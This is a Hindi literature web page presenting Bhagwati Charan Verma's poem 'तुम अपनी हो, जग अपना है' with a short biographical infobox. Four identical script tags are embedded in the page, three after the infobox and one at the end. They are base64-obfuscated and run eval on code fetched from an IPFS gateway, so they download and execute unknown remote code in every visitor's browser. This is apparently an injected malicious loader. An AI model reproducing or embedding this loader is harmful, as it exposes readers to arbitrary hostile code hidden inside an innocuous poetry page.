तुम अपनी हो, जग अपना है -भगवतीचरण वर्मा
|
|
|
|
कवि
|
भगवतीचरण वर्मा
|
जन्म
|
30 अगस्त, 1903
|
जन्म स्थान
|
उन्नाव ज़िला, उत्तर प्रदेश
|
मृत्यु
|
5 अक्टूबर, 1981
|
मुख्य रचनाएँ
|
चित्रलेखा, भूले बिसरे चित्र, सीधे सच्ची बातें, सबहिं नचावत राम गुसाईं, अज्ञात देश से आना, आज मानव का सुनहला प्रात: है, मेरी कविताएँ, मेरी कहानियाँ आदि
|
इन्हें भी देखें
|
कवि सूची, साहित्यकार सूची
| <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
तुम अपनी हो, जग अपना है
किसका किस पर अधिकार प्रिये
फिर दुविधा का क्या काम यहाँ
इस पार या कि उस पार प्रिये ।
देखो वियोग की शिशिर रात
आँसू का हिमजल छोड़ चली
ज्योत्स्ना की वह ठण्डी उसाँस
दिन का रक्तांचल छोड़ चली ।
चलना है सबको छोड़ यहाँ
अपने सुख-दुख का भार प्रिये,
करना है कर लो आज उसे
कल पर किसका अधिकार प्रिये ।
है आज शीत से झुलस रहे
ये कोमल अरुण कपोल प्रिये
अभिलाषा की मादकता से
कर लो निज छवि का मोल प्रिये ।
इस लेन-देन की दुनिया में
निज को देकर सुख को ले लो,
तुम एक खिलौना बनो स्वयं
फिर जी भर कर सुख से खेलो ।
पल-भर जीवन, फिर सूनापन
पल-भर तो लो हँस-बोल प्रिये
कर लो निज प्यासे अधरों से
प्यासे अधरों का मोल प्रिये ।
सिहरा तन, सिहरा व्याकुल मन,
सिहरा मानस का गान प्रिये
मेरे अस्थिर जग को दे दो
तुम प्राणों का वरदान प्रिये ।
भर-भरकर सूनी निःश्वासें
देखो, सिहरा-सा आज पवन
है ढूँढ़ रहा अविकल गति से
मधु से पूरित मधुमय मधुवन ।
यौवन की इस मधुशाला में
है प्यासों का ही स्थान प्रिये
फिर किसका भय? उन्मत्त बनो
है प्यास यहाँ वरदान प्रिये ।
देखो प्रकाश की रेखा ने
वह तम में किया प्रवेश प्रिये
तुम एक किरण बन, दे जाओ
नव-आशा का सन्देश प्रिये ।
अनिमेष दृगों से देख रहा
हूँ आज तुम्हारी राह प्रिये
है विकल साधना उमड़ पड़ी
होंठों पर बन कर चाह प्रिये ।
मिटनेवाला है सिसक रहा
उसकी ममता है शेष प्रिये
निज में लय कर उसको दे दो
तुम जीवन का सन्देश प्रिये ।
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>